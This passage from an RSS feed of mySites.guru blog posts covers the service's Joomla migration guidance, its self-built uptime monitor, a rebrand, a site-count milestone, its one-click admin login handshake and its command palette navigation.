&lt;h2&gt;How does mySites.guru handle Joomla upgrades?&lt;/h2&gt;
&lt;p&gt;mySites.guru never performs major Joomla upgrades automatically. You have to log in and request that mySites.guru perform an upgrade.&lt;/p&gt;
&lt;p&gt;When Joomla 3.10.0 was first released, it mistakenly showed a one-click upgrade path to Joomla 4.0.0 in the admin panel. That was never supposed to happen - Joomla 3 to 4 was always a migration, not an upgrade. We blocked the Joomla 3 to 4 upgrade path in mySites.guru entirely to prevent accidental major version jumps.&lt;/p&gt;
&lt;p&gt;The Joomla project later acknowledged the issue and moved Joomla 4.0.0 to a separate update stream so that Joomla 3.10.0 sites wouldn&apos;t see it unless the &lt;a href=&quot;https://mysites.guru/blog/how-to-prevent-accidental-joomla-version-jumps/&quot;&gt;update channel was manually changed&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;References:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/J3.x:Joomla_3.10_points_to_4.0_while_it_claims_to_be_on_the_Default_update_server&quot;&gt;Joomla 3.10 update server issue&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/35214&quot;&gt;Joomla CMS pull request #35214&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Joomla 1.5 through 3 all share a single connector plugin. Joomla 4, 5, and 6 each have their own dedicated connector, built to take advantage of the higher PHP requirements in each major version.&lt;/p&gt;
&lt;h2&gt;How do you migrate from Joomla 3 to Joomla 4?&lt;/h2&gt;
&lt;p&gt;Migrating to Joomla 4 means checking every template, extension, plugin, and module for compatibility. Joomla&apos;s built-in Pre-Update Checker has a history of reporting incorrect compatibility results, so verify each extension manually.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;⚠️ Never migrate on a live site&lt;/p&gt;
  &lt;p&gt;Perform the Joomla 4 migration on a development copy first. Back up everything before you start, and test your backups.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;The dedicated guide covers the mySites.guru side of this in more detail: &lt;a href=&quot;https://mysites.guru/blog/migrating-to-joomla-4-when-using-mysites-guru/&quot;&gt;Migrating to Modern Joomla When Using mySites.guru&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;How do you reconnect a migrated site to mySites.guru?&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Uninstall the mySites.guru system plugin from the Joomla 3 site&lt;/li&gt;
&lt;li&gt;Delete the site from your mySites.guru account&lt;/li&gt;
&lt;li&gt;Perform the mini-migration to Joomla 4&lt;/li&gt;
&lt;li&gt;Use the &lt;strong&gt;Add Another Site&lt;/strong&gt; process to generate the Joomla 4 connector and install it on your migrated site&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;What about Joomla 5 and Joomla 6?&lt;/h2&gt;
&lt;p&gt;Joomla 5 and 6 are also fully supported, each with their own dedicated connector plugin. mySites.guru also has tools to check whether your servers are ready for each version:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/joomla-5-technical-requirements-check/&quot;&gt;Joomla 5 Technical Requirements Check&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/joomla-6-technical-requirements/&quot;&gt;Joomla 6 Technical Requirements&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://manual.joomla.org/docs/next/get-started/technical-requirements/&quot;&gt;Joomla 4 Technical Requirements&lt;/a&gt; - official minimum and recommended server specs&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Planning_for_Mini-Migration_-_Joomla_3.10.x_to_4.x&quot;&gt;Planning for Mini-Migration: Joomla 3.10 to 4&lt;/a&gt; - the Joomla project&apos;s migration planning guide&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Special:MyLanguage/Joomla_3.x_to_4.x_Step_by_Step_Migration&quot;&gt;Step by Step Migration: Joomla 3.x to 4.x&lt;/a&gt; - walks through each step of the migration&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;p&gt;Joomla version management is part of our &lt;a href=&quot;https://mysites.guru/guides/joomla-agency-handbook/&quot;&gt;Joomla Agency Handbook&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>joomla 4</category><category>site management</category><category>migration</category><enclosure url="https://mysites.guru/_astro/manage-your-joomla-4-sites-with-mysites-guru.B2xy-EoE.png" length="0" type="image/png"/></item><item><title>Migrating to Modern Joomla When Using mySites.guru</title><link>https://mysites.guru/blog/migrating-to-joomla-4-when-using-mysites-guru/</link><guid isPermaLink="true">https://mysites.guru/blog/migrating-to-joomla-4-when-using-mysites-guru/</guid><description>How to keep your sites connected to mySites.guru when migrating from Joomla 3 to Joomla 4, 5, or 6. Step-by-step connector swap process.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;This is not a guide on how to migrate Joomla 3 to a newer version. This is for mySites.guru subscribers who want to keep their sites connected and monitored after migrating.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/blog/the-joomla-3-10-999-project/&quot;&gt;Joomla 3 reached end-of-life on August 17, 2023&lt;/a&gt;. No further releases will be made, even for security issues. If you still have Joomla 3 sites, migrating to Joomla 4, 5, or 6 should be a priority.&lt;/p&gt;
&lt;p&gt;Joomla 5 is the current stable release, and &lt;a href=&quot;https://mysites.guru/blog/joomla-6-technical-requirements/&quot;&gt;Joomla 6 is already out&lt;/a&gt;. Which version you target depends on your hosting and what extensions you need. Check the &lt;a href=&quot;https://mysites.guru/blog/joomla-5-technical-requirements-check/&quot;&gt;Joomla 5 requirements&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/joomla-6-technical-requirements/&quot;&gt;Joomla 6 requirements&lt;/a&gt; to see if your servers are ready.&lt;/p&gt;
&lt;h2&gt;Why is this a migration, not an upgrade?&lt;/h2&gt;
&lt;p&gt;Moving from Joomla 3 to Joomla 4+ is a migration, not a one-click upgrade. Every plugin, extension, module, and template on your site needs a compatible version for the target Joomla release. Some won&apos;t have one. If you manage multiple sites, the &lt;a href=&quot;https://mysites.guru/blog/how-to-compare-joomla-templates-across-sites/&quot;&gt;template comparison tool&lt;/a&gt; helps you track which sites still need their templates migrated.&lt;/p&gt;
&lt;p&gt;Sometimes the only way to find out is to attempt the migration and fix what breaks. Plenty of migrations stall when that one extension you depend on hasn&apos;t been updated in years and has no replacement.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;ℹ️ Joomla&apos;s official migration guides&lt;/p&gt;
  &lt;p&gt;These were written for the Joomla 3 to 4 migration. Some URLs may have moved since then, but the general process still applies for moving to Joomla 4+.&lt;/p&gt;
  &lt;ul&gt;
    &lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Planning_for_Mini-Migration_-_Joomla_3.10.x_to_4.x&quot;&gt;Planning for Mini-Migration&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Special:MyLanguage/Joomla_3.x_to_4.x_Step_by_Step_Migration&quot;&gt;Step by Step Migration&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Pre-Update_Check&quot;&gt;Pre-Update Check&lt;/a&gt;&lt;/li&gt;
  &lt;/ul&gt;
&lt;/div&gt;
&lt;h2&gt;Why don&apos;t we offer a fixed-fee migration service?&lt;/h2&gt;
&lt;p&gt;Every Joomla 3 site is different. The extensions, the template framework, whatever custom code has been bolted on over the years. We could get days into the work and hit a wall because one critical extension has no modern replacement.&lt;/p&gt;
&lt;p&gt;There&apos;s no honest way to quote a fixed price for that, so we don&apos;t offer it.&lt;/p&gt;
&lt;h2&gt;How do you reconnect mySites.guru after migration?&lt;/h2&gt;
&lt;p&gt;The Joomla 3 connector won&apos;t work on Joomla 4 or later. Joomla 4, 5, and 6 each have their own dedicated connector plugin, built to take advantage of the PHP standards available in each major version.&lt;/p&gt;
&lt;p&gt;Here&apos;s the process:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Remove&lt;/strong&gt; the old mySites.guru plugin from your Joomla 3 site before migrating&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Delete&lt;/strong&gt; the old site entry from your mySites.guru account&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Migrate&lt;/strong&gt; your site to your target Joomla version (4, 5, or 6) and get it stable&lt;/li&gt;
&lt;li&gt;In mySites.guru, click &lt;strong&gt;&quot;Add Another Site&quot;&lt;/strong&gt; and select the Joomla 4+ connector option&lt;/li&gt;
&lt;li&gt;Install the new connector in your migrated site&apos;s admin panel&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;After that, mySites.guru works the same as it did with your Joomla 3 site. All the same &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;monitoring and management tools&lt;/a&gt;, plus version-specific features like the &lt;a href=&quot;https://mysites.guru/blog/joomla-5-technical-requirements-check/&quot;&gt;Joomla 5&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/joomla-6-technical-requirements/&quot;&gt;Joomla 6&lt;/a&gt; requirements checkers.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;If you run into any issues during the reconnection, &lt;a href=&quot;https://manage.mysites.guru/contact&quot;&gt;get in touch&lt;/a&gt;.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Migration planning is covered in depth in our &lt;a href=&quot;https://mysites.guru/guides/joomla-agency-handbook/&quot;&gt;Joomla Agency Handbook&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>migration</category><category>joomla 4</category><category>joomla 5</category><category>joomla 6</category><enclosure url="https://mysites.guru/_astro/joomla3to4.CJdGLEzI.webp" length="0" type="image/webp"/></item><item><title>Monitor site uptime with mySites.guru</title><link>https://mysites.guru/blog/monitor-your-sites-uptime-with-mysites-guru/</link><guid isPermaLink="true">https://mysites.guru/blog/monitor-your-sites-uptime-with-mysites-guru/</guid><description>mySites.guru runs its own uptime monitoring engine with per-minute checks and instant downtime alerts at no extra cost.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;We used to provide &lt;a href=&quot;https://uptimerobot.com&quot;&gt;UptimeRobot&lt;/a&gt; Integrated monitors for your sites, but now we are providing UNLIMITED FREE uptime monitors - powered by our own custom-written engine - to all mySites.guru subscribers and connected sites.&lt;/p&gt;
&lt;h2&gt;How does free uptime monitoring work?&lt;/h2&gt;
&lt;p&gt;mySites.guru used &lt;a href=&quot;https://uptimerobot.com&quot;&gt;UptimeRobot&lt;/a&gt; for uptime monitoring for nearly a decade. After &lt;a href=&quot;#why-we-stopped-using-uptimerobot&quot;&gt;reliability problems and a 352% price hike&lt;/a&gt;, we built our own engine instead. No extra cost to subscribers.&lt;/p&gt;
&lt;p&gt;The engine runs as a standalone Node.js service on its own infrastructure, separate from the main mySites.guru servers. It checks your connected sites and alerts you when they go offline (or worse, get hacked) so you can respond quickly. mySites.guru also does &lt;a href=&quot;https://mysites.guru/blog/keep-an-eye-on-your-joomla-and-wordpress-ssl-certificate-expirations-with-mysites-guru/&quot;&gt;SSL checks&lt;/a&gt; and much more in our &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;audit tools&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The engine starts with a single HEAD request. If your site responds, great - nothing happens.&lt;/p&gt;
&lt;p&gt;If there&apos;s no response within 45 seconds, it retries with a GET request and waits another 45 seconds. If that also fails, it makes one final GET request from a different location around the world (from a secret IP - your site shouldn&apos;t be blocking IPs, it&apos;s a public site). If all three fail, you get an email alert. If you get an alert but your site loads fine for you, &lt;a href=&quot;https://mysites.guru/blog/uptime-monitoring-explained/&quot;&gt;there are a few common reasons for that&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Sites on the same server are staggered across different check times so we don&apos;t hit your server with a burst of HEAD requests all at once.&lt;/p&gt;
&lt;p&gt;Downtime alerts are an operational email your &lt;a href=&quot;https://mysites.guru/blog/accountant-portal-invoice-access/&quot;&gt;bookkeeper or accountant&lt;/a&gt; does not need to see, which is why the Accountant Portal role is excluded from these notifications by default.&lt;/p&gt;
&lt;p&gt;We load-tested the platform to 1 million domain checks per second. The whole thing runs on three $5 servers - a fraction of what UptimeRobot was charging us. We just needed the push to build it ourselves.&lt;/p&gt;
&lt;div&gt;
  
  &lt;p&gt;The screenshots below are from an older version of the interface. The dashboard has since been redesigned, but the monitoring works the same way.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Example email alert:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;You can see an overview of all your monitors in your account:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;You can also see the last 24 hours of response times, which makes it easy to spot performance problems:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;Why did we stop using UptimeRobot?&lt;/h2&gt;
&lt;p&gt;mySites.guru used &lt;a href=&quot;https://uptimerobot.com&quot;&gt;UptimeRobot&lt;/a&gt; for uptime monitoring from 2012 until August 2021. After UptimeRobot was &lt;a href=&quot;https://blog.uptimerobot.com/uptimerobot-2020-update/&quot;&gt;acquired by itrinity&lt;/a&gt; in 2019, the service suffered repeated outages and our account was terminated without warning on multiple occasions. In July 2021, the new owners tried to raise our annual fee from $6,792 to $22,416 (a 352.4% increase) with 66 days&apos; notice. We declined, and on 12th August 2021 we switched to our own custom-built monitoring engine. It handles all our monitoring at a fraction of the cost, with no third-party dependency.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Uptime monitoring is covered in depth in our &lt;a href=&quot;https://mysites.guru/guides/site-monitoring-alerting-guide/&quot;&gt;site monitoring and alerting guide&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>uptime</category><category>monitoring</category><category>alerts</category><enclosure url="https://mysites.guru/_astro/LARGE-IMAGES-2-1024x576.o3rPOC2K.webp" length="0" type="image/webp"/></item><item><title>mySites.guru is the new name for rebranded myJoomla.com</title><link>https://mysites.guru/blog/myjoomla-com-is-now-mysites-guru/</link><guid isPermaLink="true">https://mysites.guru/blog/myjoomla-com-is-now-mysites-guru/</guid><description>myJoomla.com has been rebranded as mySites.guru to reflect full support for Joomla, WordPress and any PHP-based website in one platform.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;As our service now supports &lt;strong&gt;Joomla&lt;/strong&gt; and &lt;strong&gt;WordPress&lt;/strong&gt; CMS’s, its no longer appropriate to be called “&lt;a href=&quot;https://myJoomla.com&quot;&gt;myjoomla.com&lt;/a&gt;” and therefore we have changed the service name to &lt;a href=&quot;https://mysites.guru/&quot;&gt;mySites.guru&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;For a limited time myJoomla.guru will be used to market to individual segments of the market specific to one of the platforms, but moving forward &lt;strong&gt;mySites.guru&lt;/strong&gt; will be the new name, and home of our service.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>rebrand</category><category>news</category><enclosure url="https://mysites.guru/_astro/myjoomla-com-is-now-mysites-guru.Do7_cBNA.png" length="0" type="image/png"/></item><item><title>90,000+ Sites Trust mySites.guru</title><link>https://mysites.guru/blog/mysites-guru-connected-to-74000-joomla-and-wordpress-sites/</link><guid isPermaLink="true">https://mysites.guru/blog/mysites-guru-connected-to-74000-joomla-and-wordpress-sites/</guid><description>Over 90,000 Joomla, WordPress, and PHP sites are connected to mySites.guru - all managed from a single dashboard invested into daily by its founder.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Over 90,000 Joomla, WordPress, and PHP sites are connected to mySites.guru, with new ones added every day.&lt;/p&gt;
&lt;p&gt;People stick with us because the product works. Any service can &lt;a href=&quot;https://mysites.guru/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru/&quot;&gt;backup&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;update&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/uptimerobot-public-status-pages-free-for-all-mysites-guru-subscribers/&quot;&gt;monitor&lt;/a&gt; a site. But we deploy new code multiple times a day, react to emerging threats in real time, and add new hack file signatures daily. Our detection of hacks inside Joomla and WordPress files is something nobody else comes close to.&lt;/p&gt;
&lt;p&gt;I work on this full time. Not a side hustle - it&apos;s what I do.&lt;/p&gt;
&lt;p&gt;There&apos;s always room to improve. Deploying multiple times a day means we do improve things daily, refining features and adding tools that make it easier to maintain your sites and your clients&apos; sites.&lt;/p&gt;
&lt;p&gt;90,000+ sites now trust mySites.guru. Still only the beginning.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>wordpress</category><category>milestones</category><enclosure url="https://mysites.guru/_astro/13.GRE1Ynbe.webp" length="0" type="image/webp"/></item><item><title>One-Click Admin Login to Any Site</title><link>https://mysites.guru/blog/one-click-login-to-any-joomla-or-wordpress-admin-console-with-mysites-guru/</link><guid isPermaLink="true">https://mysites.guru/blog/one-click-login-to-any-joomla-or-wordpress-admin-console-with-mysites-guru/</guid><description>Skip the login page entirely. One click from mySites.guru logs you straight into any Joomla or WordPress admin console - no passwords stored, fully encrypted.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;If you manage more than a handful of sites, you know the routine: open a tab, navigate to /administrator or /wp-admin, type your username, type your password, hit enter, wait. Multiply that by 10, 50, or 200 sites and it adds up fast.&lt;/p&gt;
&lt;p&gt;One-click admin login removes all of that. From your mySites.guru dashboard, press a single button and you&apos;re sitting in the admin console of any connected Joomla or WordPress site - logged in, ready to work.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;March 2026: Redesigned login screen&lt;/p&gt;
  &lt;p&gt;The one-click login experience has been redesigned with a cleaner, more focused interface. You now see a clear &quot;Signing you in&quot; confirmation with the target domain displayed front and center, along with a real-time status indicator as the secure session is established.&lt;/p&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Thousands of users have been using this feature since 2017. We publish &lt;a href=&quot;https://manage.mysites.guru/en/live/stats&quot;&gt;live login statistics&lt;/a&gt; inside your account so you can see just how much time it saves across your team.&lt;/p&gt;
&lt;h2&gt;What does one-click login look like in practice?&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Click the &lt;strong&gt;Admin Login&lt;/strong&gt; button next to any site&lt;/li&gt;
&lt;li&gt;A new tab opens and you&apos;re already logged into the admin console&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;That&apos;s it. No credentials to type, no login pages to wait for.&lt;/p&gt;
&lt;h2&gt;How does the encrypted login handshake work?&lt;/h2&gt;
&lt;p&gt;Your password is never involved. We don&apos;t ask for it, we don&apos;t store it, and we don&apos;t want it. Instead, every login goes through a multi-step encrypted handshake:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;mySites.guru contacts our request validation service to register an upcoming request&lt;/li&gt;
&lt;li&gt;An encrypted login request is sent to the mySites.guru plugin/extension on your site&lt;/li&gt;
&lt;li&gt;Your site checks back with our validation service to confirm the request is genuine&lt;/li&gt;
&lt;li&gt;After validation, your site decrypts the request and sees it&apos;s a login instruction&lt;/li&gt;
&lt;li&gt;Your site creates a new session for the admin user you&apos;ve pre-selected in mySites.guru&lt;/li&gt;
&lt;li&gt;You&apos;re redirected to your site, where your browser picks up that session&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;You&apos;re logged in without a password ever crossing the wire. For logging into your mySites.guru account itself, we also support &lt;a href=&quot;https://mysites.guru/blog/passkeys-for-secure-login-to-mysites/&quot;&gt;passkeys&lt;/a&gt; - so you can go fully passwordless end to end.&lt;/p&gt;
&lt;h2&gt;How do you set it up?&lt;/h2&gt;
&lt;p&gt;One-click login is an &lt;strong&gt;opt-in feature&lt;/strong&gt;. To enable it:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Connect your site to your mySites.guru account&lt;/li&gt;
&lt;li&gt;Go to the &lt;strong&gt;Settings Tab&lt;/strong&gt; on the Manage Site page&lt;/li&gt;
&lt;li&gt;Select the admin user you want to log in as&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Once configured, every admin link within mySites.guru automatically becomes a one-click login button.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;What is the mySites.guru auto sign-in dashboard?&lt;/h2&gt;
&lt;p&gt;Need to jump between multiple sites quickly? The &lt;a href=&quot;https://manage.mysites.guru/auto-sign-in/&quot;&gt;Secure Auto Sign In&lt;/a&gt; dashboard lists all your connected sites with a login button next to each one. You can also choose which user to log in as, per site.&lt;/p&gt;
&lt;p&gt;Three ways to get there:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Press &lt;strong&gt;ll&lt;/strong&gt; (two lowercase L&apos;s) from anywhere in mySites.guru&lt;/li&gt;
&lt;li&gt;Press &lt;strong&gt;Cmd+K&lt;/strong&gt; to open the &lt;a href=&quot;https://mysites.guru/blog/our-command-palette-navigation-with-cmdk/&quot;&gt;command palette&lt;/a&gt; and search for &quot;Secure Auto Sign In&quot;&lt;/li&gt;
&lt;li&gt;Use the Tool Finder&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;What if your admin area has .htaccess protection?&lt;/h2&gt;
&lt;p&gt;If your admin area is behind .htaccess basic auth, you have two options:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Store the credentials&lt;/strong&gt; on the site&apos;s settings page in mySites.guru so login is fully automatic&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Enter them once manually&lt;/strong&gt; when prompted - your browser caches .htaccess credentials until you restart it, so you&apos;ll rarely need to re-enter them&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Why does passwordless login matter for agencies?&lt;/h2&gt;
&lt;p&gt;Shared credentials are one of the biggest security liabilities in agency life. A spreadsheet of admin passwords floating around your team, sitting in a Slack thread, or saved in someone&apos;s browser is a breach waiting to happen. When a team member leaves, you&apos;re scrambling to figure out which sites they had access to and which passwords need rotating.&lt;/p&gt;
&lt;p&gt;One-click login sidesteps the whole problem. No passwords are stored, shared, or transmitted. Each login is a unique encrypted session that&apos;s validated in real time. If someone leaves your team, you revoke their mySites.guru access and they lose the ability to log into every connected site immediately. No password rotation needed.&lt;/p&gt;
&lt;p&gt;This is also safer than browser-saved passwords or even most password managers in a team context. Those tools still store the actual credential somewhere. With mySites.guru, the credential simply doesn&apos;t exist in the workflow. Your site&apos;s admin password can be a 64-character random string that nobody ever types, because nobody needs to.&lt;/p&gt;
&lt;h2&gt;How does mySites.guru compare to other management tools?&lt;/h2&gt;
&lt;p&gt;Most WordPress hosting platforms now offer some version of one-click admin access. Kinsta has WP Admin auto-login through MyKinsta, and Flywheel offers Seamless Login from their dashboard. ManageWP (owned by GoDaddy) has had one-click login for years.&lt;/p&gt;
&lt;p&gt;Three practical differences using mySites.guru:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;WordPress and Joomla.&lt;/strong&gt; Every competitor listed above is WordPress-only. If you manage a mixed portfolio with Joomla sites alongside WordPress, mySites.guru is the only dashboard that handles both from one place.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Host-independent.&lt;/strong&gt; Kinsta and Flywheel only work with sites hosted on their own platform. mySites.guru connects to any site on any host, whether it&apos;s a $5 VPS or a dedicated server you manage yourself.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;No credential storage.&lt;/strong&gt; Some tools require you to store admin credentials on their servers. mySites.guru never touches your password. The encrypted handshake means there&apos;s nothing to leak even if our database were compromised.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;When does mySites.guru one-click login save the most time?&lt;/h2&gt;
&lt;p&gt;The feature sounds like a small convenience until you use it at scale. Three places where it actually changes the workflow:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Emergency response.&lt;/strong&gt; A client calls to say their site is broken. Instead of hunting for credentials, navigating to wp-admin, and typing everything in, you click one button and you&apos;re inside their admin console within two seconds.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Morning check routines.&lt;/strong&gt; If you run through 20-50 sites each morning to check for issues, one-click login turns a 30-minute ritual of typing passwords into a 5-minute scan. Open the &lt;a href=&quot;https://manage.mysites.guru/auto-sign-in/&quot;&gt;auto sign-in dashboard&lt;/a&gt;, click through each site, check what you need, move on. Combined with &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;real-time alerts for admin logins and file changes&lt;/a&gt;, you catch problems before your clients notice them.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Client support.&lt;/strong&gt; A client asks you to check a plugin setting or debug a form that&apos;s not working. You&apos;re logged into their admin console before they finish explaining the problem. No back-and-forth asking for credentials, no waiting for them to find their password.&lt;/p&gt;
&lt;h2&gt;Can you log in as a different user with mySites.guru?&lt;/h2&gt;
&lt;p&gt;Yes. The auto-login configuration lets you choose which user to log in as on each site. If you normally log in as the Super Admin but need to check something as an editor or a client&apos;s own account, just change the selected user in the site&apos;s settings. The next time you click Admin Login, you&apos;ll be logged in as that user instead.&lt;/p&gt;
&lt;p&gt;This is useful for support situations where a client reports a problem that&apos;s specific to their account or role. Rather than asking them to describe what they see, you log in as their user and see it yourself.&lt;/p&gt;
&lt;p&gt;mySites.guru&apos;s &lt;a href=&quot;https://mysites.guru/blog/universal-user-management-for-joomla-and-wordpress-sites/&quot;&gt;Universal User Management&lt;/a&gt; takes this further. From a single page, you can search every user account across all your connected sites, find a user by name or email, see which sites they have accounts on, reset their password, or change their role.&lt;/p&gt;
&lt;p&gt;For your own mySites.guru team, there&apos;s also a separate &lt;a href=&quot;https://mysites.guru/blog/how-to-impersonate-your-mysites-guru-team-members/&quot;&gt;team member impersonation&lt;/a&gt; feature. As the account owner, you can switch into any team member&apos;s session to see exactly what they see, verify their permissions are correct, or debug an issue they&apos;re reporting. No credentials needed, and you exit back to your own account instantly.&lt;/p&gt;
&lt;h2&gt;Further reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html&quot;&gt;OWASP Session Management Cheat Sheet&lt;/a&gt; - Best practices for secure session handling&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.wordpress.org/advanced-administration/wordpress/cookies/&quot;&gt;WordPress Authentication Cookies&lt;/a&gt; - How WordPress handles login sessions&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html&quot;&gt;OWASP Authentication Cheat Sheet&lt;/a&gt; - Security best practices for authentication flows&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;p&gt;Quick site access is part of our &lt;a href=&quot;https://mysites.guru/guides/agency-multi-site-management/&quot;&gt;guide to multi-site management for agencies&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>wordpress</category><category>workflow</category><category>site management</category><category>security</category><enclosure url="https://mysites.guru/_astro/oneclicklogin.DhWLkpLj.webp" length="0" type="image/webp"/></item><item><title>The mySites.guru Command Palette Navigation</title><link>https://mysites.guru/blog/our-command-palette-navigation-with-cmdk/</link><guid isPermaLink="true">https://mysites.guru/blog/our-command-palette-navigation-with-cmdk/</guid><description>Press Cmd+K anywhere in mySites.guru to open the command palette and instantly navigate to any site, tool or account setting without touching the mouse.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;A command palette is one of the fastest ways to navigate a large application. Press Cmd+K (or Ctrl+K on Windows) anywhere in mySites.guru to open it and navigate the whole service with a few keystrokes.&lt;/p&gt;
&lt;p&gt;The command palette in your &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;manage.mySites.guru&lt;/a&gt; account includes all menu options and account functions - changing your password, viewing your invoices, everything.&lt;/p&gt;
&lt;p&gt;All your sites are included too. If you have 100 sites you can jump straight to any site&apos;s manage page from anywhere: press Cmd+K, type a few characters of the site name or domain, hit Enter.&lt;/p&gt;
&lt;p&gt;You can also access most of the &lt;a href=&quot;https://mysites.guru/&quot;&gt;toolset&lt;/a&gt; from the command palette. The point is you don&apos;t need to click through the tool finder or remember where things live - just search for what you need.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;The mySites.guru command palette that can be invoked with cmdk&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;Are command palettes a new thing?&lt;/h2&gt;
&lt;p&gt;Some of the other advantages command palettes bring when done correctly:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;You don’t have to take your hands off the keyboard. No clicking into menus, remembering where a feature lives. Just cmd+k and type.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;You don’t need to know if functionality exists - type what you want and find out if it does and where it is.&lt;/p&gt;
&lt;/li&gt;
